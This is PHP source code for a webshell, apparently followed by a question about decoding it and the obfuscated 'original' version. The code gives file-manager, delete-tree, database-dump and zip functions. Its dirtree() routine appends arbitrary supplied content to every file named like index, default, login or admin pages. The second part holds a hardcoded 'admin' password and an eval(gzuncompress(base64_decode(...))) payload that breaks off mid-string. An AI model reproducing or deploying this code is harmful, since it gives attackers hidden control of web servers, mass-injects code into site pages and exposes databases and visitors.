<?php
		exit;
	}//end loginpage()

	// 
	function debuginfo() {
		global $starttime;
		$mtime = explode(' ', microtime());
		$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
		echo " $totaltime ";
	}

	// 
	function stripslashes_array(&$array) {
		while(list($key,$var) = each($array)) {
			if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
				if (is_string($var)) {
					$array[$key] = stripslashes($var);
				}
				if (is_array($var))  {
					$array[$key] = stripslashes_array($var);
				}
			}
		}
		return $array;
	}

	// 
	function deltree($deldir) {
		$mydir=@dir($deldir);	
		while($file=$mydir->read())	{ 		
			if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { 
				@chmod("$deldir/$file",0777);
				deltree("$deldir/$file"); 
			}
			if (is_file("$deldir/$file")) {
				@chmod("$deldir/$file",0777);
				@unlink("$deldir/$file");
			}
		} 
		$mydir->close(); 
		@chmod("$deldir",0777);
		return (@rmdir($deldir)) ? 1 : 0;
	} 

	// 
	function dir_writeable($dir) {
		if (!is_dir($dir)) {
			@mkdir($dir, 0777);
		}
		if(is_dir($dir)) {
			if ($fp = @fopen("$dir/test.txt", 'w')) {
				@fclose($fp);
				@unlink("$dir/test.txt");
				$writeable = 1;
			} else {
				$writeable = 0;
			}
		}
		return $writeable;
	}

	// 
	function getrowbg() {
		global $bgcounter;
		if ($bgcounter++%2==0) {
			return "firstalt";
		} else {
			return "secondalt";
		}
	}

	// 
	function getPath($mainpath, $relativepath) {
		global $dir;
		$mainpath_info           = explode('/', $mainpath);
		$relativepath_info       = explode('/', $relativepath);
		$relativepath_info_count = count($relativepath_info);
		for ($i=0; $i<$relativepath_info_count; $i++) {
			if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
			if ($relativepath_info[$i] == '..') {
				$mainpath_info_count = count($mainpath_info);
				unset($mainpath_info[$mainpath_info_count-1]);
				continue;
			}
			$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
		} //end for
		return implode('/', $mainpath_info);
	}
function dirtree($path,$mm)
 { 
	$d =@dir("$path");
	while (false !== ($entry = $d->read())) {
		if($entry == "." || $entry == "..") continue;
		$file=$d->path."/" .$entry;
		if(@is_dir($file)) 
		{
		dirtree($file,$mm);
		}
		else
		{
				if(@ereg("default\.|index\.|admin\.|bbs\.|reg\.|help\.|upfile\.|upload\.|cart\.|class\.|login\.|diy\.|no\.|ok\.|del\.|sql\.|user\.|ubb\.|ftp\.|asp\.|top\.|new\.|open\.|name\.|email\.|img\.|images\.|web\.|blog\.|save\.|data\.|add\.|edit\.|main\.|form\.|game\.|about\.|manager\.|book\.|bt\.|mp3\.|vod\.|error\.|copy\.|move\.|down\.|system\.|logo\.|QQ\.|520\.|newup\.|myup\.|play\.|show\.|view\.|ip\.|err404\.|send\.|foot\.|char\.|info\.|list\.|shop\.|err\.|nc\.|ad\.|flash\.|text\.|admin_upfile\.|admin_upload\.|upfile_load\.|upfile_soft\.|upfile_photo\.|upfile_softpic\.|vip\.|505\.|tag\.|search\.|list\.|common\.|show\.|count\.|download\.|php\.",$file)) {
				$mm=stripcslashes( trim( $mm ) );//
				$handle = @fopen ("$file", "a");
				@fwrite($handle, "$mm");
				@fclose($handle);
				echo ":$file<br>";
				}
		}
	}
	$d->close();
}
	// PHP
	function getphpcfg($varname) {
		switch($result = get_cfg_var($varname)) {
			case 0:
			return "No";
			break;
			case 1:
			return "Yes";
			break;
			default:
			return $result;
			break;
		}
	}

	// 
	function getfun($funName) {
		return (false !== function_exists($funName)) ? "Yes" : "No";
	}

	class zip //ZIP
{

 var $datasec, $ctrl_dir = array();
 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
 var $old_offset = 0; var $dirs = Array(".");
 function Add($files,$compact)
 {
  if(!is_array($files[0])) $files=Array($files);

  for($i=0;$files[$i];$i++){
    $fn = $files[$i];
    if(!in_Array(dirname($fn[0]),$this->dirs))
     $this->add_Dir(dirname($fn[0]));
    if(basename($fn[0]))
     $ret[basename($fn[0])]=$this->add_File($fn[1],$fn[0],$compact);
  }
  return $ret;
 }
function get_file()
 {
   $data = implode('', $this -> datasec);
   $ctrldir = implode('', $this -> ctrl_dir);

   return $data . $ctrldir . $this -> eof_ctrl_dir .
    pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).
    pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
 }
 function ReadCentralDir($zip,$zip_name)
 {
  $size = filesize($zip_name);
  if ($size < 277) $maximum_size = $size;
  else $maximum_size=277;
  @fseek($zip, $size-$maximum_size);
  $pos = ftell($zip); $bytes = 0x00000000;
  while ($pos < $size)
  {
    $byte = @fread($zip, 1); $bytes=($bytes << 8) | Ord($byte);
    if ($bytes == 0x504b0506){ $pos++; break; } $pos++;
  }
  $data=unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size',fread($zip,18));
  if ($data['comment_size'] != 0)
	  $centd['comment'] = fread($zip, $data['comment_size']);
  else $centd['comment'] = ''; $centd['entries'] = $data['entries'];
  $centd['disk_entries'] = $data['disk_entries'];
  $centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start'];
  $centd['size'] = $data['size'];  $centd['disk'] = $data['disk'];
  return $centd;
 }
  function ReadCentralFileHeaders($zip){
    $binary_data = fread($zip, 46);
    $header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data);
	if ($header['filename_len'] != 0)
      $header['filename'] = fread($zip,$header['filename_len']);
    else $header['filename'] = '';
	if ($header['extra_len'] != 0)
      $header['extra'] = fread($zip, $header['extra_len']);
    else $header['extra'] = '';
	if ($header['comment_len'] != 0)
      $header['comment'] = fread($zip, $header['comment_len']);
    else $header['comment'] = '';
	if ($header['mdate'] && $header['mtime'])
    {
      $hour = ($header['mtime'] & 0xF800) >> 11;
      $minute = ($header['mtime'] & 0x07E0) >> 5;
      $seconde = ($header['mtime'] & 0x001F)*2;
      $year = (($header['mdate'] & 0xFE00) >> 9) + 1980;
      $month = ($header['mdate'] & 0x01E0) >> 5;
      $day = $header['mdate'] & 0x001F;
      $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
    } else {
      $header['mtime'] = time();
    }
    $header['stored_filename'] = $header['filename'];
    $header['status'] = 'ok';
    if (substr($header['filename'], -1) == '/')
      $header['external'] = 0x41FF0010;
    return $header;
 }
 function add_dir($name) 
 { 
   $name = str_replace("\\", "/", $name); 
   $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
   $fr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); 
   $fr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); 
   $this -> datasec[] = $fr;
   $new_offset = strlen(implode("", $this->datasec)); 
   $cdrec = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
   $cdrec .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); 
   $cdrec .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); 
   $ext = "\xff\xff\xff\xff"; 
   $cdrec .= pack("V", 16 ).pack("V", $this -> old_offset ).$name;
   $this -> ctrl_dir[] = $cdrec; 
   $this -> old_offset = $new_offset; 
   $this -> dirs[] = $name;
 }
 function get_List($zip_name)
 {
   $zip = @fopen($zip_name, 'rb');
   if(!$zip) return(0);
   $centd = $this->ReadCentralDir($zip,$zip_name);
   @rewind($zip);
    @fseek($zip, $centd['offset']);
	for ($i=0; $i<$centd['entries']; $i++)
   {
    $header = $this->ReadCentralFileHeaders($zip);
    $header['index'] = $i;$info['filename'] = $header['filename'];
    $info['stored_filename'] = $header['stored_filename'];
    $info['size'] = $header['size'];$info['compressed_size']=$header['compressed_size'];
    $info['crc'] = strtoupper(dechex( $header['crc'] ));
    $info['mtime'] = $header['mtime']; $info['comment'] = $header['comment'];
    $info['folder'] = ($header['external']==0x41FF0010||$header['external']==16)?1:0;
    $info['index'] = $header['index'];$info['status'] = $header['status'];
    $ret[]=$info; unset($header);
   }
  return $ret;
 }
function add_File($data, $name, $compact = 1)
 {
   $name     = str_replace('\\', '/', $name);
   $dtime    = dechex($this->DosTime());
   $hexdtime = '\x' . $dtime[6] . $dtime[7].'\x'.$dtime[4] . $dtime[5]
     . '\x' . $dtime[2] . $dtime[3].'\x'.$dtime[0].$dtime[1];
   eval('$hexdtime = "' . $hexdtime . '";');
   if($compact)
   $fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime;
   else $fr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00".$hexdtime;
   $unc_len = strlen($data); $crc = crc32($data);
   if($compact){
     $zdata = gzcompress($data); $c_len = strlen($zdata);
     $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
   }else{
     $zdata = $data;
   }
   $c_len=strlen($zdata);
   $fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
   $fr .= pack('v', strlen($name)).pack('v', 0).$name.$zdata;
   $fr .= pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
   $this -> datasec[] = $fr;
   $new_offset        = strlen(implode('', $this->datasec));
   if($compact)
        $cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00";
   else $cdrec = "\x50\x4b\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00";
   $cdrec .= $hexdtime.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
   $cdrec .= pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 );
   $cdrec .= pack('v', 0 ).pack('v', 0 ).pack('V', 32 );
   $cdrec .= pack('V', $this -> old_offset );
   $this -> old_offset = $new_offset;
   $cdrec .= $name;
   $this -> ctrl_dir[] = $cdrec;
   return true;
 }

 function DosTime() {
   $timearray = getdate();
   if ($timearray['year'] < 1980) {
     $timearray['year'] = 1980; $timearray['mon'] = 1;
     $timearray['mday'] = 1; $timearray['hours'] = 0;
     $timearray['minutes'] = 0; $timearray['seconds'] = 0;
   }
   return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) |     ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | 
    ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
 }
  function Extract ( $zn, $to, $index = Array(-1) )
 {
   $ok = 0; $zip = @fopen($zn,'rb');
   if(!$zip) return(-1);
   $cdir = $this->ReadCentralDir($zip,$zn);
   $pos_entry = $cdir['offset'];

   if(!is_array($index)){ $index = array($index);  }
   for($i=0; $index[$i];$i++){
     if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries'])
      return(-1);
   }

   for ($i=0; $i<$cdir['entries']; $i++)
   {
     @fseek($zip, $pos_entry);
     $header = $this->ReadCentralFileHeaders($zip);
     $header['index'] = $i; $pos_entry = ftell($zip);
     @rewind($zip); fseek($zip, $header['offset']);
     if(in_array("-1",$index)||in_array($i,$index))
      $stat[$header['filename']]=$this->ExtractFile($header, $to, $zip);
      
   }
   fclose($zip);
   return $stat;
 }
 function ExtractFile($header,$to,$zip)
 {
   $header = $this->readfileheader($zip);

   if(substr($to,-1)!="/") $to.="/";
   if(!@is_dir($to)) @mkdir($to,0777);

   $pth = explode("/",dirname($header['filename']));
   for($i=0;isset($pth[$i]);$i++){
     if(!$pth[$i]) continue;$pthss.=$pth[$i]."/";
     if(!is_dir($to.$pthss)) @mkdir($to.$pthss,0777);
   }
  if (!($header['external']==0x41FF0010)&&!($header['external']==16))
  {
   if ($header['compression']==0)
   {
    $fp = @fopen($to.$header['filename'], 'wb');
    if(!$fp) return(-1);
    $size = $header['compressed_size'];

    while ($size != 0)
    {
      $read_size = ($size < 2048 ? $size : 2048);
      $buffer = fread($zip, $read_size);
      $binary_data = pack('a'.$read_size, $buffer);
      @fwrite($fp, $binary_data, $read_size);
      $size -= $read_size;
    }
    fclose($fp);
    touch($to.$header['filename'], $header['mtime']);

  }else{
   $fp = @fopen($to.$header['filename'].'.gz','wb');
   if(!$fp) return(-1);
   $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
     Chr(0x00), time(), Chr(0x00), Chr(3));

   fwrite($fp, $binary_data, 10);
   $size = $header['compressed_size'];

   while ($size != 0)
   {
     $read_size = ($size < 1024 ? $size : 1024);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
   }

   $binary_data = pack('VV', $header['crc'], $header['size']);
   fwrite($fp, $binary_data,8); fclose($fp);

   $gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compresse");
    if(!$gzp) return(-2);
   $fp = @fopen($to.$header['filename'],'wb');
   if(!$fp) return(-1);
   $size = $header['size'];

   while ($size != 0)
   {
     $read_size = ($size < 2048 ? $size : 2048);
     $buffer = gzread($gzp, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
   }
   fclose($fp); gzclose($gzp);

   touch($to.$header['filename'], $header['mtime']);
   @unlink($to.$header['filename'].'.gz');

  }}
  return true;
 }
   function ReadFileHeader($zip)
  { 
    $binary_data = fread($zip, 30);
    $data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data);

    $header['filename'] = fread($zip, $data['filename_len']);
    if ($data['extra_len'] != 0) {
      $header['extra'] = fread($zip, $data['extra_len']);
    } else { $header['extra'] = ''; }

    $header['compression'] = $data['compression'];$header['size'] = $data['size'];
    $header['compressed_size'] = $data['compressed_size'];
    $header['crc'] = $data['crc']; $header['flag'] = $data['flag'];
    $header['mdate'] = $data['mdate'];$header['mtime'] = $data['mtime'];

    if ($header['mdate'] && $header['mtime']){
     $hour=($header['mtime']&0xF800)>>11;$minute=($header['mtime']&0x07E0)>>5;
     $seconde=($header['mtime']&0x001F)*2;$year=(($header['mdate']&0xFE00)>>9)+1980;
     $month=($header['mdate']&0x01E0)>>5;$day=$header['mdate']&0x001F;
     $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
    }else{$header['mtime'] = time();}

    $header['stored_filename'] = $header['filename'];
    $header['status'] = "ok";
    return $header;
  }
}

function addziparray($dir2) //ZIP
{
	global $dir,$zipfilearray;
	@$dirs=opendir($dir."/".$dir2);
	while (@$file=readdir($dirs)) { 
		if(!is_dir("$dir/$dir2/$file")) {
			$zipfilearray[]="$dir2/$file";
		}
		elseif($file!="."&&$file!="..") {
			addziparray("$dir2/$file");
		}
	}
	@closedir($dirs);
}

	// 
	function sqldumptable($table, $fp=0) {
		$tabledump = "DROP TABLE IF EXISTS $table;\n";
		$tabledump .= "CREATE TABLE $table (\n";

		$firstfield=1;

		$fields = mysql_query("SHOW FIELDS FROM $table");
		while ($field = mysql_fetch_array($fields)) {
			if (!$firstfield) {
				$tabledump .= ",\n";
			} else {
				$firstfield=0;
			}
			$tabledump .= "   $field[Field] $field[Type]";
			if (!empty($field["Default"])) {
				$tabledump .= " DEFAULT '$field[Default]'";
			}
			if ($field['Null'] != "YES") {
				$tabledump .= " NOT NULL";
			}
			if ($field['Extra'] != "") {
				$tabledump .= " $field[Extra]";
			}
		}
		mysql_free_result($fields);
	
		$keys = mysql_query("SHOW KEYS FROM $table");
		while ($key = mysql_fetch_array($keys)) {
			$kname=$key['Key_name'];
			if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
				$kname="UNIQUE|$kname";
			}
			if(!is_array($index[$kname])) {
				$index[$kname] = array();
			}
			$index[$kname][] = $key['Column_name'];
		}
		mysql_free_result($keys);

		while(list($kname, $columns) = @each($index)) {
			$tabledump .= ",\n";
			$colnames=implode($columns,",");

			if ($kname == "PRIMARY") {
				$tabledump .= "   PRIMARY KEY ($colnames)";
			} else {
				if (substr($kname,0,6) == "UNIQUE") {
					$kname=substr($kname,7);
				}
				$tabledump .= "   KEY $kname ($colnames)";
			}
		}

		$tabledump .= "\n);\n\n";
		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}

		$rows = mysql_query("SELECT * FROM $table");
		$numfields = mysql_num_fields($rows);
		while ($row = mysql_fetch_array($rows)) {
			$tabledump = "INSERT INTO $table VALUES(";

			$fieldcounter=-1;
			$firstfield=1;
			while (++$fieldcounter<$numfields) {
				if (!$firstfield) {
					$tabledump.=", ";
				} else {
					$firstfield=0;
				}

				if (!isset($row[$fieldcounter])) {
					$tabledump .= "NULL";
				} else {
					$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
				}
			}

			$tabledump .= ");\n";

			if ($fp) {
				fwrite($fp,$tabledump);
			} else {
				echo $tabledump;
			}
		}
		mysql_free_result($rows);
	}

	class FORMS {
		function tableheader() {
			echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n";
		}

		function headerform($arg=array()) {
			global $dir;
			if ($arg[enctype]){
				$enctype="enctype=\"$arg[enctype]\"";
			} else {
				$enctype="";
			}
			if (!isset($arg[method])) {
				$arg[method] = "POST";
			}
			if (!isset($arg[action])) {
				$arg[action] = '';
			}
			echo "  <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n";
			echo "  <tr>\n";
			echo "    <td>".$arg[content]."</td>\n";
			echo "  </tr>\n";
			echo "  </form>\n";
		}

		function tdheader($title) {
			global $dir;
			echo "  <tr class=\"firstalt\">\n";
			echo "	<td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"></a>]</b></td>\n";
			echo "  </tr>\n";
		}

		function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') {
			if ($bgcolor=='2') {
				$css="secondalt";
			} elseif ($bgcolor=='1') {
				$css="firstalt";
			} else {
				$css=$bgcolor;
			}
			$height = empty($height) ? "" : " height=".$height;
			$colspan = empty($colspan) ? "" : " colspan=".$colspan;
			echo "  <tr class=\"".$css."\">\n";
			echo "	<td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n";
			echo "  </tr>\n";
		}

		function tablefooter() {
			echo "</table>\n";
		}

		function formheader($action='',$title,$target='') {
			global $dir;
			$target = empty($target) ? "" : " target=\"".$target."\"";
			echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
			echo "  <tr class=\"firstalt\">\n";
			echo "	<td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"></a>]</b></td>\n";
			echo "  </tr>\n";
		}

		function makehidden($name,$value=''){
			echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
		}

		function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){
			$css = ($css == 'input') ? " class=\"input\"" : "";
			$input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n";
			return $input;
		}

		function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){
			$textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n";
			return $textarea;
		}

		function formfooter($over='',$height=''){
			$height = empty($height) ? "" : " height=\"".$height."\"";
			echo "  <tr class=\"secondalt\">\n";
			echo "	<td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value=\"\"></td>\n";
			echo "  </tr>\n";
			echo " </form>\n";
			echo $end = empty($over) ? "" : "</table>\n";
		}

		function makeselect($arg = array()){
			if ($arg[multiple]==1) {
				$multiple = " multiple";
				if ($arg[size]>0) {
					$size = "size=$arg[size]";
				}
			}
			if ($arg[css]==0) {
				$css = "class=\"input\"";
			}
			$select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
				if (is_array($arg[option])) {
					foreach ($arg[option] AS $key=>$value) {
						if (!is_array($arg[selected])) {
							if ($arg[selected]==$key) {
								$select .= "<option value=\"$key\" selected>$value</option>\n";
							} else {
								$select .= "<option value=\"$key\">$value</option>\n";
							}

						} elseif (is_array($arg[selected])) {
							if ($arg[selected][$key]==1) {
								$select .= "<option value=\"$key\" selected>$value</option>\n";
							} else {
								$select .= "<option value=\"$key\">$value</option>\n";
							}
						}
					}
				}
			$select .= "</select>\n";
			return $select;
		}
	}
	
	function find($path) // 
{ 
	global $oldkey,$type,$type2,$endline,$beline; 
	if(is_dir("$path")){ 
	$tempdir=opendir("$path");
	while($f=readdir($tempdir)){ if($f=="."||$f=="..")continue;  find("$path/$f");}
	closedir($tempdir);
	}else{ 
	if(filesize("$path")){ 
	$fp=fopen("$path","r"); 
	$msg=fread($fp, filesize("$path"));
	fclose($fp); 
if(strpos($msg, $oldkey) !== false) {
	$dir = dirname($path);
	$file = basename($path);
if($type=="list"){
	$mymsg = explode("\n",$msg);
	$long = count($mymsg);
	$tmp = explode($oldkey,$msg);
	$tmp = explode("\n",$tmp[0]);
	$first = count($tmp);
	$end = "[".$first."/".$long."]";
}
if($type2=="getpath"){
	$get = explode($oldkey,$msg);
	$get = strlen($get[0]);
	if(isset($beline)){
	$get = $get-$beline;
	}
	$getpath = htmlspecialchars(substr($msg, $get, $endline)); 
	$getpath = "title = \"".$getpath."\"";
}
echo "<span class=\"redfont\" $getpath>:$dir/$file</span> |<a href=\"?action=editfile&dir=$dir&editfile=$file\" target=\"_blank\">view+edit</a> | $end <br>";
}
                              } 
                         }                    
}

Did this file decode correctly?

Original Code

<?php
	#  http://down.liehuo.net
	# 
$admin['pass']  = "admin";  //
$notice = "<FONT color=#ff3300>PHP</font>";  //
 eval(gzuncompress(base64_decode("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